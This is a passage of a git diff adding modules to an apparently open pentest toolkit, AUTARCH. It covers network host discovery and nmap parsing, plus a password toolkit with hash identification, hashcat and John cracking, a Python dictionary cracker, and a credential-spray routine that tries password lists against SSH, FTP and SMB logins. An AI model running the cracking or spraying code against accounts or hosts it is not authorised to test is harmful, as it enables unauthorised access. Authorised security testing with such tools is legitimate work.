data.get('timestamp', ''), + 'host_count': data.get('host_count', 0), + }) + except Exception: + continue + return sorted(scans, key=lambda s: s.get('timestamp', ''), reverse=True) + + def load_scan(self, filename: str) -> Optional[dict]: + path = os.path.join(self._data_dir, filename) + if os.path.exists(path): + with open(path, 'r') as f: + return json.load(f) + return None + + def diff_scans(self, scan1_file: str, scan2_file: str) -> dict: + """Compare two scans and find differences.""" + s1 = self.load_scan(scan1_file) + s2 = self.load_scan(scan2_file) + if not s1 or not s2: + return {'ok': False, 'error': 'Scan(s) not found'} + + ips1 = {h['ip'] for h in s1.get('hosts', [])} + ips2 = {h['ip'] for h in s2.get('hosts', [])} + + return { + 'ok': True, + 'new_hosts': sorted(ips2 - ips1), + 'removed_hosts': sorted(ips1 - ips2), + 'unchanged_hosts': sorted(ips1 & ips2), + 'scan1': {'name': s1.get('name'), 'timestamp': s1.get('timestamp'), + 'count': len(ips1)}, + 'scan2': {'name': s2.get('name'), 'timestamp': s2.get('timestamp'), + 'count': len(ips2)}, + } + + def get_job_status(self, job_id: str) -> dict: + holder = self._active_jobs.get(job_id) + if not holder: + return {'ok': False, 'error': 'Job not found'} + result = {'ok': True, 'done': holder['done'], 'hosts': holder['hosts']} + if holder.get('error'): + result['error'] = holder['error'] + if holder['done']: + self._active_jobs.pop(job_id, None) + return result + + # ── Topology Data (for visualization) ───────────────────────────────── + + def build_topology(self, hosts: List[dict]) -> dict: + """Build topology graph data from host list for visualization.""" + nodes = [] + edges = [] + subnets = {} + + for h in hosts: + subnet = '.'.join(h['ip'].split('.')[:3]) + '.0/24' + if subnet not in subnets: + subnets[subnet] = { + 'id': f'subnet_{subnet}', 'label': subnet, + 'type': 'subnet', 'hosts': [], + } + subnets[subnet]['hosts'].append(h['ip']) + + node_type = 'host' + if h.get('ports'): + services = [p.get('service', '') for p in h['ports']] + if any('http' in s.lower() for s in services): + node_type = 'web' + elif any('ssh' in s.lower() for s in services): + node_type = 'server' + elif any('smb' in s.lower() or 'netbios' in s.lower() for s in services): + node_type = 'windows' + + nodes.append({ + 'id': h['ip'], + 'label': h.get('hostname') or h['ip'], + 'ip': h['ip'], + 'type': node_type, + 'os': h.get('os_guess', ''), + 'ports': len(h.get('ports', [])), + 'subnet': subnet, + }) + + # Edge from host to subnet gateway + gateway = '.'.join(h['ip'].split('.')[:3]) + '.1' + edges.append({'from': h['ip'], 'to': gateway, 'type': 'network'}) + + # Add subnet nodes + for subnet_data in subnets.values(): + nodes.append(subnet_data) + + return { + 'nodes': nodes, + 'edges': edges, + 'subnets': list(subnets.keys()), + 'total_hosts': len(hosts), + } + + # ── Helpers ─────────────────────────────────────────────────────────── + + def _expand_target(self, target: str) -> List[str]: + """Expand CIDR or range to list of IPs.""" + if '/' in target: + return self._cidr_to_ips(target) + if '-' in target.split('.')[-1]: + base = '.'.join(target.split('.')[:3]) + range_part = target.split('.')[-1] + if '-' in range_part: + start, end = range_part.split('-') + return [f'{base}.{i}' for i in range(int(start), int(end) + 1)] + return [target] + + @staticmethod + def _cidr_to_ips(cidr: str) -> List[str]: + parts = cidr.split('/') + if len(parts) != 2: + return [cidr] + ip = parts[0] + prefix = int(parts[1]) + if prefix < 16: + return [ip] # Too large, don't expand + ip_int = struct.unpack('!I', socket.inet_aton(ip))[0] + mask = (0xFFFFFFFF << (32 - prefix)) & 0xFFFFFFFF + network = ip_int & mask + broadcast = network | (~mask & 0xFFFFFFFF) + return [socket.inet_ntoa(struct.pack('!I', i)) + for i in range(network + 1, broadcast)] + + def _parse_nmap_xml(self, xml_text: str) -> List[Host]: + """Parse nmap XML output to Host objects.""" + hosts = [] + try: + import xml.etree.ElementTree as ET + root = ET.fromstring(xml_text) + for host_el in root.findall('.//host'): + state = host_el.find('status') + if state is not None and state.get('state') != 'up': + continue + addr = host_el.find("address[@addrtype='ipv4']") + if addr is None: + continue + ip = addr.get('addr', '') + mac_el = host_el.find("address[@addrtype='mac']") + hostname_el = host_el.find('.//hostname') + os_el = host_el.find('.//osmatch') + + h = Host( + ip=ip, + mac=mac_el.get('addr', '') if mac_el is not None else '', + hostname=hostname_el.get('name', '') if hostname_el is not None else '', + os_guess=os_el.get('name', '') if os_el is not None else '', + subnet='.'.join(ip.split('.')[:3]) + '.0/24', + ) + + for port_el in host_el.findall('.//port'): + state_el = port_el.find('state') + if state_el is not None and state_el.get('state') == 'open': + svc_el = port_el.find('service') + h.ports.append({ + 'port': int(port_el.get('portid', 0)), + 'protocol': port_el.get('protocol', 'tcp'), + 'state': 'open', + 'service': svc_el.get('name', '') if svc_el is not None else '', + 'version': svc_el.get('version', '') if svc_el is not None else '', + }) + hosts.append(h) + except Exception: + pass + return hosts + + @staticmethod + def _guess_service(port: int) -> str: + services = { + 21: 'ftp', 22: 'ssh', 23: 'telnet', 25: 'smtp', 53: 'dns', + 80: 'http', 110: 'pop3', 143: 'imap', 443: 'https', 445: 'smb', + 993: 'imaps', 995: 'pop3s', 3306: 'mysql', 3389: 'rdp', + 5432: 'postgresql', 5900: 'vnc', 6379: 'redis', 8080: 'http-alt', + 8443: 'https-alt', 27017: 'mongodb', + } + return services.get(port, '') + + +# ── Singleton ───────────────────────────────────────────────────────────────── + +_instance = None +_lock = threading.Lock() + + +def get_net_mapper() -> NetMapper: + global _instance + if _instance is None: + with _lock: + if _instance is None: + _instance = NetMapper() + return _instance + + +# ── CLI ─────────────────────────────────────────────────────────────────────── + +def run(): + """Interactive CLI for Network Mapper.""" + svc = get_net_mapper() + + while True: + print("\n╔═══════════════════════════════════════╗") + print("║ NETWORK TOPOLOGY MAPPER ║") + print("╠═══════════════════════════════════════╣") + print("║ 1 — Discover Hosts ║") + print("║ 2 — Scan Host (detailed) ║") + print("║ 3 — List Saved Scans ║") + print("║ 4 — Compare Scans ║") + print("║ 0 — Back ║") + print("╚═══════════════════════════════════════╝") + + choice = input("\n Select: ").strip() + + if choice == '0': + break + elif choice == '1': + target = input(" Target (CIDR/range): ").strip() + if not target: + continue + print(" Discovering hosts...") + r = svc.discover_hosts(target) + if r.get('job_id'): + while True: + time.sleep(2) + s = svc.get_job_status(r['job_id']) + if s['done']: + hosts = s['hosts'] + print(f"\n Found {len(hosts)} hosts:") + for h in hosts: + ports = len(h.get('ports', [])) + print(f" {h['ip']:16s} {h.get('hostname',''):20s} " + f"{h.get('os_guess',''):20s} {ports} ports") + save = input("\n Save scan? (name/empty=skip): ").strip() + if save: + svc.save_scan(save, hosts) + print(f" Saved as: {save}") + break + elif choice == '2': + ip = input(" Host IP: ").strip() + if not ip: + continue + print(" Scanning...") + r = svc.scan_host(ip) + if r.get('ok'): + h = r['host'] + print(f"\n {h['ip']} — {h.get('os_guess', 'unknown OS')}") + for p in h.get('ports', []): + print(f" {p['port']:6d}/{p['protocol']} {p.get('service','')}" + f" {p.get('version','')}") + elif choice == '3': + scans = svc.list_scans() + if not scans: + print("\n No saved scans.") + continue + for s in scans: + print(f" {s['file']:40s} {s['name']:15s} " + f"{s['host_count']} hosts {s['timestamp'][:19]}") + elif choice == '4': + scans = svc.list_scans() + if len(scans) < 2: + print(" Need at least 2 saved scans.") + continue + for i, s in enumerate(scans, 1): + print(f" {i}. {s['file']} ({s['host_count']} hosts)") + a = int(input(" Scan 1 #: ").strip()) - 1 + b = int(input(" Scan 2 #: ").strip()) - 1 + diff = svc.diff_scans(scans[a]['file'], scans[b]['file']) + if diff.get('ok'): + print(f"\n New hosts: {len(diff['new_hosts'])}") + for h in diff['new_hosts']: + print(f" + {h}") + print(f" Removed hosts: {len(diff['removed_hosts'])}") + for h in diff['removed_hosts']: + print(f" - {h}") + print(f" Unchanged: {len(diff['unchanged_hosts'])}") diff --git a/modules/password_toolkit.py b/modules/password_toolkit.py new file mode 100644 index 0000000..d6f966d --- /dev/null +++ b/modules/password_toolkit.py @@ -0,0 +1,796 @@ +"""AUTARCH Password Toolkit + +Hash identification, cracking (hashcat/john integration), password generation, +credential spray/stuff testing, wordlist management, and password policy auditing. +""" + +DESCRIPTION = "Password cracking & credential testing" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "analyze" + +import os +import re +import json +import time +import string +import secrets +import hashlib +import threading +import subprocess +from pathlib import Path +from dataclasses import dataclass, field +from typing import Dict, List, Optional, Any, Tuple + +try: + from core.paths import find_tool, get_data_dir +except ImportError: + import shutil + def find_tool(name): + return shutil.which(name) + def get_data_dir(): + return str(Path(__file__).parent.parent / 'data') + + +# ── Hash Type Signatures ────────────────────────────────────────────────────── + +@dataclass +class HashSignature: + name: str + regex: str + hashcat_mode: int + john_format: str + example: str + bits: int = 0 + + +HASH_SIGNATURES: List[HashSignature] = [ + HashSignature('MD5', r'^[a-fA-F0-9]{32}$', 0, 'raw-md5', 'd41d8cd98f00b204e9800998ecf8427e', 128), + HashSignature('SHA-1', r'^[a-fA-F0-9]{40}$', 100, 'raw-sha1', 'da39a3ee5e6b4b0d3255bfef95601890afd80709', 160), + HashSignature('SHA-224', r'^[a-fA-F0-9]{56}$', 1300, 'raw-sha224', 'd14a028c2a3a2bc9476102bb288234c415a2b01f828ea62ac5b3e42f', 224), + HashSignature('SHA-256', r'^[a-fA-F0-9]{64}$', 1400, 'raw-sha256', 'e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855', 256), + HashSignature('SHA-384', r'^[a-fA-F0-9]{96}$', 10800,'raw-sha384', '38b060a751ac96384cd9327eb1b1e36a21fdb71114be07434c0cc7bf63f6e1da274edebfe76f65fbd51ad2f14898b95b', 384), + HashSignature('SHA-512', r'^[a-fA-F0-9]{128}$', 1700, 'raw-sha512', 'cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e', 512), + HashSignature('NTLM', r'^[a-fA-F0-9]{32}$', 1000, 'nt', '31d6cfe0d16ae931b73c59d7e0c089c0', 128), + HashSignature('LM', r'^[a-fA-F0-9]{32}$', 3000, 'lm', 'aad3b435b51404eeaad3b435b51404ee', 128), + HashSignature('bcrypt', r'^\$2[aby]?\$\d{1,2}\$[./A-Za-z0-9]{53}$', 3200, 'bcrypt', '$2b$12$LJ3m4ys3Lg2VBe5F.4oXzuLKmRPBRWvs5fS5K.zL1E8CfJzqS/VfO', 0), + HashSignature('scrypt', r'^\$7\$', 8900, 'scrypt', '', 0), + HashSignature('Argon2', r'^\$argon2(i|d|id)\$', 0, 'argon2', '', 0), + HashSignature('MySQL 4.1+', r'^\*[a-fA-F0-9]{40}$', 300, 'mysql-sha1', '*6C8989366EAF6BCBBAA855D6DA93DE65C96D33D9', 160), + HashSignature('SHA-512 Crypt', r'^\$6\$[./A-Za-z0-9]+\$[./A-Za-z0-9]{86}$', 1800, 'sha512crypt', '', 0), + HashSignature('SHA-256 Crypt', r'^\$5\$[./A-Za-z0-9]+\$[./A-Za-z0-9]{43}$', 7400, 'sha256crypt', '', 0), + HashSignature('MD5 Crypt', r'^\$1\$[./A-Za-z0-9]+\$[./A-Za-z0-9]{22}$', 500, 'md5crypt', '', 0), + HashSignature('DES Crypt', r'^[./A-Za-z0-9]{13}$', 1500, 'descrypt', '', 0), + HashSignature('APR1 MD5', r'^\$apr1\$', 1600, 'md5apr1', '', 0), + HashSignature('Cisco Type 5', r'^\$1\$[./A-Za-z0-9]{8}\$[./A-Za-z0-9]{22}$', 500, 'md5crypt', '', 0), + HashSignature('Cisco Type 7', r'^[0-9]{2}[0-9A-Fa-f]+$', 0, '', '', 0), + HashSignature('PBKDF2-SHA256', r'^\$pbkdf2-sha256\$', 10900,'pbkdf2-hmac-sha256', '', 0), + HashSignature('Django SHA256', r'^pbkdf2_sha256\$', 10000,'django', '', 0), + HashSignature('CRC32', r'^[a-fA-F0-9]{8}$', 0, '', 'deadbeef', 32), +] + + +# ── Password Toolkit Service ───────────────────────────────────────────────── + +class PasswordToolkit: + """Hash identification, cracking, generation, and credential testing.""" + + def __init__(self): + self._data_dir = os.path.join(get_data_dir(), 'password_toolkit') + self._wordlists_dir = os.path.join(self._data_dir, 'wordlists') + self._results_dir = os.path.join(self._data_dir, 'results') + os.makedirs(self._wordlists_dir, exist_ok=True) + os.makedirs(self._results_dir, exist_ok=True) + self._active_jobs: Dict[str, dict] = {} + + # ── Hash Identification ─────────────────────────────────────────────── + + def identify_hash(self, hash_str: str) -> List[dict]: + """Identify possible hash types for a given hash string.""" + hash_str = hash_str.strip() + matches = [] + for sig in HASH_SIGNATURES: + if re.match(sig.regex, hash_str): + matches.append({ + 'name': sig.name, + 'hashcat_mode': sig.hashcat_mode, + 'john_format': sig.john_format, + 'bits': sig.bits, + 'confidence': self._hash_confidence(hash_str, sig), + }) + # Sort by confidence + matches.sort(key=lambda m: {'high': 0, 'medium': 1, 'low': 2}.get(m['confidence'], 3)) + return matches + + def _hash_confidence(self, hash_str: str, sig: HashSignature) -> str: + """Estimate confidence of hash type match.""" + # bcrypt, scrypt, argon2, crypt formats are definitive + if sig.name in ('bcrypt', 'scrypt', 'Argon2', 'SHA-512 Crypt', + 'SHA-256 Crypt', 'MD5 Crypt', 'APR1 MD5', + 'PBKDF2-SHA256', 'Django SHA256', 'MySQL 4.1+'): + return 'high' + # Length-based can be ambiguous (MD5 vs NTLM vs LM) + if len(hash_str) == 32: + return 'medium' # Could be MD5, NTLM, or LM + if len(hash_str) == 8: + return 'low' # CRC32 vs short hex + return 'medium' + + def identify_batch(self, hashes: List[str]) -> List[dict]: + """Identify types for multiple hashes.""" + results = [] + for h in hashes: + h = h.strip() + if not h: + continue + ids = self.identify_hash(h) + results.append({'hash': h, 'types': ids}) + return results + + # ── Hash Cracking ───────────────────────────────────────────────────── + + def crack_hash(self, hash_str: str, hash_type: str = 'auto', + wordlist: str = '', attack_mode: str = 'dictionary', + rules: str = '', mask: str = '', + tool: str = 'auto') -> dict: + """Start a hash cracking job. + + attack_mode: 'dictionary', 'brute_force', 'mask', 'hybrid' + tool: 'hashcat', 'john', 'auto' (try hashcat first, then john) + """ + hash_str = hash_str.strip() + if not hash_str: + return {'ok': False, 'error': 'No hash provided'} + + # Auto-detect hash type if needed + if hash_type == 'auto': + ids = self.identify_hash(hash_str) + if not ids: + return {'ok': False, 'error': 'Could not identify hash type'} + hash_type = ids[0]['name'] + + # Find cracking tool + hashcat = find_tool('hashcat') + john = find_tool('john') + + if tool == 'auto': + tool = 'hashcat' if hashcat else ('john' if john else None) + elif tool == 'hashcat' and not hashcat: + return {'ok': False, 'error': 'hashcat not found'} + elif tool == 'john' and not john: + return {'ok': False, 'error': 'john not found'} + + if not tool: + # Fallback: Python-based dictionary attack (slow but works) + return self._python_crack(hash_str, hash_type, wordlist) + + # Default wordlist + if not wordlist: + wordlist = self._find_default_wordlist() + + job_id = f'crack_{int(time.time())}_{secrets.token_hex(4)}' + + if tool == 'hashcat': + return self._crack_hashcat(job_id, hash_str, hash_type, + wordlist, attack_mode, rules, mask) + else: + return self._crack_john(job_id, hash_str, hash_type, + wordlist, attack_mode, rules, mask) + + def _crack_hashcat(self, job_id: str, hash_str: str, hash_type: str, + wordlist: str, attack_mode: str, rules: str, + mask: str) -> dict: + """Crack using hashcat.""" + hashcat = find_tool('hashcat') + # Get hashcat mode + mode = 0 + for sig in HASH_SIGNATURES: + if sig.name == hash_type: + mode = sig.hashcat_mode + break + + # Write hash to temp file + hash_file = os.path.join(self._results_dir, f'{job_id}.hash') + out_file = os.path.join(self._results_dir, f'{job_id}.pot') + with open(hash_file, 'w') as f: + f.write(hash_str + '\n') + + cmd = [hashcat, '-m', str(mode), hash_file, '-o', out_file, '--potfile-disable'] + + attack_modes = {'dictionary': '0', 'brute_force': '3', 'mask': '3', 'hybrid': '6'} + cmd.extend(['-a', attack_modes.get(attack_mode, '0')]) + + if attack_mode in ('dictionary', 'hybrid') and wordlist: + cmd.append(wordlist) + if attack_mode in ('brute_force', 'mask') and mask: + cmd.append(mask) + elif attack_mode == 'brute_force' and not mask: + cmd.append('?a?a?a?a?a?a?a?a') # Default 8-char brute force + if rules: + cmd.extend(['-r', rules]) + + result_holder = {'result': None, 'done': False, 'process': None} + self._active_jobs[job_id] = result_holder + + def run_crack(): + try: + proc = subprocess.run(cmd, capture_output=True, text=True, timeout=3600) + result_holder['process'] = None + cracked = '' + if os.path.exists(out_file): + with open(out_file, 'r') as f: + cracked = f.read().strip() + result_holder['result'] = { + 'ok': True, + 'cracked': cracked, + 'output': proc.stdout[-2000:] if proc.stdout else '', + 'returncode': proc.returncode, + } + except subprocess.TimeoutExpired: + result_holder['result'] = {'ok': False, 'error': 'Crack timed out (1 hour)'} + except Exception as e: + result_holder['result'] = {'ok': False, 'error': str(e)} + finally: + result_holder['done'] = True + + threading.Thread(target=run_crack, daemon=True).start() + return {'ok': True, 'job_id': job_id, 'message': f'Cracking started with hashcat (mode {mode})'} + + def _crack_john(self, job_id: str, hash_str: str, hash_type: str, + wordlist: str, attack_mode: str, rules: str, + mask: str) -> dict: + """Crack using John the Ripper.""" + john = find_tool('john') + fmt = '' + for sig in HASH_SIGNATURES: + if sig.name == hash_type: + fmt = sig.john_format + break + + hash_file = os.path.join(self._results_dir, f'{job_id}.hash') + with open(hash_file, 'w') as f: + f.write(hash_str + '\n') + + cmd = [john, hash_file] + if fmt: + cmd.extend(['--format=' + fmt]) + if wordlist and attack_mode == 'dictionary': + cmd.extend(['--wordlist=' + wordlist]) + if rules: + cmd.extend(['--rules=' + rules]) + if attack_mode in ('mask', 'brute_force') and mask: + cmd.extend(['--mask=' + mask]) + + result_holder = {'result': None, 'done': False} + self._active_jobs[job_id] = result_holder + + def run_crack(): + try: + proc = subprocess.run(cmd, capture_output=True, text=True, timeout=3600) + # Get cracked results + show = subprocess.run([john, '--show', hash_file], + capture_output=True, text=True, timeout=10) + result_holder['result'] = { + 'ok': True, + 'cracked': show.stdout.strip() if show.stdout else '', + 'output': proc.stdout[-2000:] if proc.stdout else '', + 'returncode': proc.returncode, + } + except subprocess.TimeoutExpired: + result_holder['result'] = {'ok': False, 'error': 'Crack timed out (1 hour)'} + except Exception as e: + result_holder['result'] = {'ok': False, 'error': str(e)} + finally: + result_holder['done'] = True + + threading.Thread(target=run_crack, daemon=True).start() + return {'ok': True, 'job_id': job_id, 'message': f'Cracking started with john ({fmt or "auto"})'} + + def _python_crack(self, hash_str: str, hash_type: str, + wordlist: str) -> dict: + """Fallback pure-Python dictionary crack for common hash types.""" + algo_map = { + 'MD5': 'md5', 'SHA-1': 'sha1', 'SHA-256': 'sha256', + 'SHA-512': 'sha512', 'SHA-224': 'sha224', 'SHA-384': 'sha384', + } + algo = algo_map.get(hash_type) + if not algo: + return {'ok': False, 'error': f'Python cracker does not support {hash_type}. Install hashcat or john.'} + + if not wordlist: + wordlist = self._find_default_wordlist() + if not wordlist or not os.path.exists(wordlist): + return {'ok': False, 'error': 'No wordlist available'} + + hash_lower = hash_str.lower() + tried = 0 + try: + with open(wordlist, 'r', encoding='utf-8', errors='ignore') as f: + for line in f: + word = line.strip() + if not word: + continue + h = hashlib.new(algo, word.encode('utf-8')).hexdigest() + tried += 1 + if h == hash_lower: + return { + 'ok': True, + 'cracked': f'{hash_str}:{word}', + 'plaintext': word, + 'tried': tried, + 'message': f'Cracked! Password: {word}', + } + if tried >= 10_000_000: + break + except Exception as e: + return {'ok': False, 'error': str(e)} + + return {'ok': True, 'cracked': '', 'tried': tried, + 'message': f'Not cracked. Tried {tried:,} candidates.'} + + def get_crack_status(self, job_id: str) -> dict: + """Check status of a cracking job.""" + holder = self._active_jobs.get(job_id) + if not holder: + return {'ok': False, 'error': 'Job not found'} + if not holder['done']: + return {'ok': True, 'done': False, 'message': 'Cracking in progress...'} + self._active_jobs.pop(job_id, None) + return {'ok': True, 'done': True, **holder['result']} + + # ── Password Generation ─────────────────────────────────────────────── + + def generate_password(self, length: int = 16, count: int = 1, + uppercase: bool = True, lowercase: bool = True, + digits: bool = True, symbols: bool = True, + exclude_chars: str = '', + pattern: str = '') -> List[str]: + """Generate secure random passwords.""" + if pattern: + return [self._generate_from_pattern(pattern) for _ in range(count)] + + charset = '' + if uppercase: + charset += string.ascii_uppercase + if lowercase: + charset += string.ascii_lowercase + if digits: + charset += string.digits + if symbols: + charset += '!@#$%^&*()-_=+[]{}|;:,.<>?' + if exclude_chars: + charset = ''.join(c for c in charset if c not in exclude_chars) + if not charset: + charset = string.ascii_letters + string.digits + + length = max(4, min(length, 128)) + count = max(1, min(count, 100)) + + passwords = [] + for _ in range(count): + pw = ''.join(secrets.choice(charset) for _ in range(length)) + passwords.append(pw) + return passwords + + def _generate_from_pattern(self, pattern: str) -> str: + """Generate password from pattern. + ?u = uppercase, ?l = lowercase, ?d = digit, ?s = symbol, ?a = any + """ + result = [] + i = 0 + while i < len(pattern): + if pattern[i] == '?' and i + 1 < len(pattern): + c = pattern[i + 1] + if c == 'u': + result.append(secrets.choice(string.ascii_uppercase)) + elif c == 'l': + result.append(secrets.choice(string.ascii_lowercase)) + elif c == 'd': + result.append(secrets.choice(string.digits)) + elif c == 's': + result.append(secrets.choice('!@#$%^&*()-_=+')) + elif c == 'a': + result.append(secrets.choice( + string.ascii_letters + string.digits + '!@#$%^&*')) + else: + result.append(pattern[i:i+2]) + i += 2 + else: + result.append(pattern[i]) + i += 1 + return ''.join(result) + + # ── Password Policy Audit ───────────────────────────────────────────── + + def audit_password(self, password: str) -> dict: + """Audit a password against common policies and calculate entropy.""" + import math + checks = { + 'length_8': len(password) >= 8, + 'length_12': len(password) >= 12, + 'length_16': len(password) >= 16, + 'has_uppercase': bool(re.search(r'[A-Z]', password)), + 'has_lowercase': bool(re.search(r'[a-z]', password)), + 'has_digit': bool(re.search(r'[0-9]', password)), + 'has_symbol': bool(re.search(r'[^A-Za-z0-9]', password)), + 'no_common_patterns': not self._has_common_patterns(password), + 'no_sequential': not self._has_sequential(password), + 'no_repeated': not self._has_repeated(password), + } + + # Calculate entropy + charset_size = 0 + if re.search(r'[a-z]', password): + charset_size += 26 + if re.search(r'[A-Z]', password): + charset_size += 26 + if re.search(r'[0-9]', password): + charset_size += 10 + if re.search(r'[^A-Za-z0-9]', password): + charset_size += 32 + entropy = len(password) * math.log2(charset_size) if charset_size > 0 else 0 + + # Strength rating + if entropy >= 80 and all(checks.values()): + strength = 'very_strong' + elif entropy >= 60 and checks['length_12']: + strength = 'strong' + elif entropy >= 40 and checks['length_8']: + strength = 'medium' + elif entropy >= 28: + strength = 'weak' + else: + strength = 'very_weak' + + return { + 'length': len(password), + 'entropy': round(entropy, 1), + 'strength': strength, + 'checks': checks, + 'charset_size': charset_size, + } + + def _has_common_patterns(self, pw: str) -> bool: + common = ['password', '123456', 'qwerty', 'abc123', 'letmein', + 'admin', 'welcome', 'monkey', 'dragon', 'master', + 'login', 'princess', 'football', 'shadow', 'sunshine', + 'trustno1', 'iloveyou', 'batman', 'access', 'hello'] + pl = pw.lower() + return any(c in pl for c in common) + + def _has_sequential(self, pw: str) -> bool: + for i in range(len(pw) - 2): + if (ord(pw[i]) + 1 == ord(pw[i+1]) == ord(pw[i+2]) - 1): + return True + return False + + def _has_repeated(self, pw: str) -> bool: + for i in range(len(pw) - 2): + if pw[i] == pw[i+1] == pw[i+2]: + return True + return False + + # ── Credential Spray / Stuff ────────────────────────────────────────── + + def credential_spray(self, targets: List[dict], passwords: List[str], + protocol: str = 'ssh', threads: int = 4, + delay: float = 1.0) -> dict: + """Spray passwords against target services. + + targets: [{'host': '...', 'port': 22, 'username': 'admin'}, ...] + protocol: 'ssh', 'ftp', 'smb', 'http_basic', 'http_form' + """ + if not targets or not passwords: + return {'ok': False, 'error': 'Targets and passwords required'} + + job_id = f'spray_{int(time.time())}_{secrets.token_hex(4)}' + result_holder = { + 'done': False, + 'results': [], + 'total': len(targets) * len(passwords), + 'tested': 0, + 'found': [], + } + self._active_jobs[job_id] = result_holder + + def do_spray(): + import socket as sock_mod + for target in targets: + host = target.get('host', '') + port = target.get('port', 0) + username = target.get('username', '') + for pw in passwords: + if protocol == 'ssh': + ok = self._test_ssh(host, port or 22, username, pw) + elif protocol == 'ftp': + ok = self._test_ftp(host, port or 21, username, pw) + elif protocol == 'smb': + ok = self._test_smb(host, port or 445, username, pw) + else: + ok = False + + result_holder['tested'] += 1 + if ok: + cred = {'host': host, 'port': port, 'username': username, + 'password': pw, 'protocol': protocol} + result_holder['found'].append(cred) + + time.sleep(delay) + result_holder['done'] = True + + threading.Thread(target=do_spray, daemon=True).start() + return {'ok': True, 'job_id': job_id, + 'message': f'Spray started: {len(targets)} targets × {len(passwords)} passwords'} + + def _test_ssh(self, host: str, port: int, user: str, pw: str) -> bool: + try: + import paramiko + client = paramiko.SSHClient() + client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) + client.connect(host, port=port, username=user, password=pw, + timeout=5, look_for_keys=False, allow_agent=False) + client.close() + return True + except Exception: + return False + + def _test_ftp(self, host: str, port: int, user: str, pw: str) -> bool: + try: + import ftplib + ftp = ftplib.FTP() + ftp.connect(host, port, timeout=5) + ftp.login(user, pw) + ftp.quit() + return True + except Exception: + return False + + def _test_smb(self, host: str, port: int, user: str, pw: str) -> bool: + try: + from impacket.smbconnection import SMBConnection + conn = SMBConnection(host, host, sess_port=port) + conn.login(user, pw) + conn.close() + return True + except Exception: + return False + + def get_spray_status(self, job_id: str) -> dict: + holder = self._active_jobs.get(job_id) + if not holder: + return {'ok': False, 'error': 'Job not found'} + return { + 'ok': True, + 'done': holder['done'], + 'tested': holder['tested'], + 'total': holder['total'], + 'found': holder['found'], + } + + # ── Wordlist Management ─────────────────────────────────────────────── + + def list_wordlists(self) -> List[dict]: + """List available wordlists.""" + results = [] + for f in Path(self._wordlists_dir).glob('*'): + if f.is_file(): + size = f.stat().st_size + line_count = 0 + try: + with open(f, 'r', encoding='utf-8', errors='ignore') as fh: + for _ in fh: + line_count += 1 + if line_count > 10_000_000: + break + except Exception: + pass + results.append({ + 'name': f.name, + 'path': str(f), + 'size': size, + 'size_human': self._human_size(size), + 'lines': line_count, + }) + # Also check common system locations + system_lists = [ + '/usr/share/wordlists/rockyou.txt', + '/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt', + '/usr/share/wordlists/fasttrack.txt', + ] + for path in system_lists: + if os.path.exists(path) and not any(r['path'] == path for r in results): + size = os.path.getsize(path) + results.append({ + 'name': os.path.basename(path), + 'path': path, + 'size': size, + 'size_human': self._human_size(size), + 'lines': -1, # Don't count for system lists + 'system': True, + }) + return results + + def _find_default_wordlist(self) -> str: + """Find the best available wordlist.""" + # Check our wordlists dir first + for f in Path(self._wordlists_dir).glob('*'): + if f.is_file() and f.stat().st_size > 100: + return str(f) + # System locations + candidates = [ + '/usr/share/wordlists/rockyou.txt', + '/usr/share/wordlists/fasttrack.txt', + '/usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt', + ] + for c in candidates: + if os.path.exists(c): + return c + return '' + + def upload_wordlist(self, filename: str, data: bytes) -> dict: + """Save an uploaded wordlist.""" + safe_name = re.sub(r'[^a-zA-Z0-9._-]', '_', filename) + path = os.path.join(self._wordlists_dir, safe_name) + with open(path, 'wb') as f: + f.write(data) + return {'ok': True, 'path': path, 'name': safe_name} + + def delete_wordlist(self, name: str) -> dict: + path = os.path.join(self._wordlists_dir, name) + if os.path.exists(path): + os.remove(path) + return {'ok': True} + return {'ok': False, 'error': 'Wordlist not found'} + + # ── Hash Generation (for testing) ───────────────────────────────────── + + def hash_string(self, plaintext: str, algorithm: str = 'md5') -> dict: + """Hash a string with a given algorithm.""" + algo_map = { + 'md5': hashlib.md5, + 'sha1': hashlib.sha1, + 'sha224': hashlib.sha224, + 'sha256': hashlib.sha256, + 'sha384': hashlib.sha384, + 'sha512': hashlib.sha512, + } + fn = algo_map.get(algorithm.lower()) + if not fn: + return {'ok': False, 'error': f'Unsupported algorithm: {algorithm}'} + h = fn(plaintext.encode('utf-8')).hexdigest() + return {'ok': True, 'hash': h, 'algorithm': algorithm, 'plaintext': plaintext} + + # ── Tool Detection ──────────────────────────────────────────────────── + + def get_tools_status(self) -> dict: + """Check which cracking tools are available.""" + return { + 'hashcat': bool(find_tool('hashcat')), + 'john': bool(find_tool('john')), + 'hydra': bool(find_tool('hydra')), + 'ncrack': bool(find_tool('ncrack')), + } + + @staticmethod + def _human_size(size: int) -> str: + for unit in ('B', 'KB', 'MB', 'GB'): + if size < 1024: + return f'{size:.1f} {unit}' + size /= 1024 + return f'{size:.1f} TB' + + +# ── Singleton ───────────────────────────────────────────────────────────────── + +_instance = None +_lock = threading.Lock() + + +def get_password_toolkit() -> PasswordToolkit: + global _instance + if _instance is None: + with _lock: + if _instance is None: + _instance = PasswordToolkit() + return _instance + + +# ── CLI ─────────────────────────────────────────────────────────────────────── + +def run(): + """Interactive CLI for Password Toolkit.""" + svc = get_password_toolkit() + + while True: + print("\n╔═══════════════════════════════════════╗") + print("║ PASSWORD TOOLKIT ║") + print("╠═══════════════════════════════════════╣") + print("║ 1 — Identify Hash ║") + print("║ 2 — Crack Hash ║") + print("║ 3 — Generate Passwords ║") + print("║ 4 — Audit Password Strength ║") + print("║ 5 — Hash a String ║") + print("║ 6 — Wordlist Management ║") + print("║ 7 — Tool Status ║") + print("║ 0 — Back ║") + print("╚═══════════════════════════════════════╝") + + choice = input("\n Select: ").strip() + + if choice == '0': + break + elif choice == '1': + h = input(" Hash: ").strip() + if not h: + continue + results = svc.identify_hash(h) + if results: + print(f"\n Possible types ({len(results)}):") + for r in results: + print(f" [{r['confidence'].upper():6s}] {r['name']}" + f" (hashcat: {r['hashcat_mode']}, john: {r['john_format']})") + else: + print(" No matching hash types found.") + elif choice == '2': + h = input(" Hash: ").strip() + wl = input(" Wordlist (empty=default): 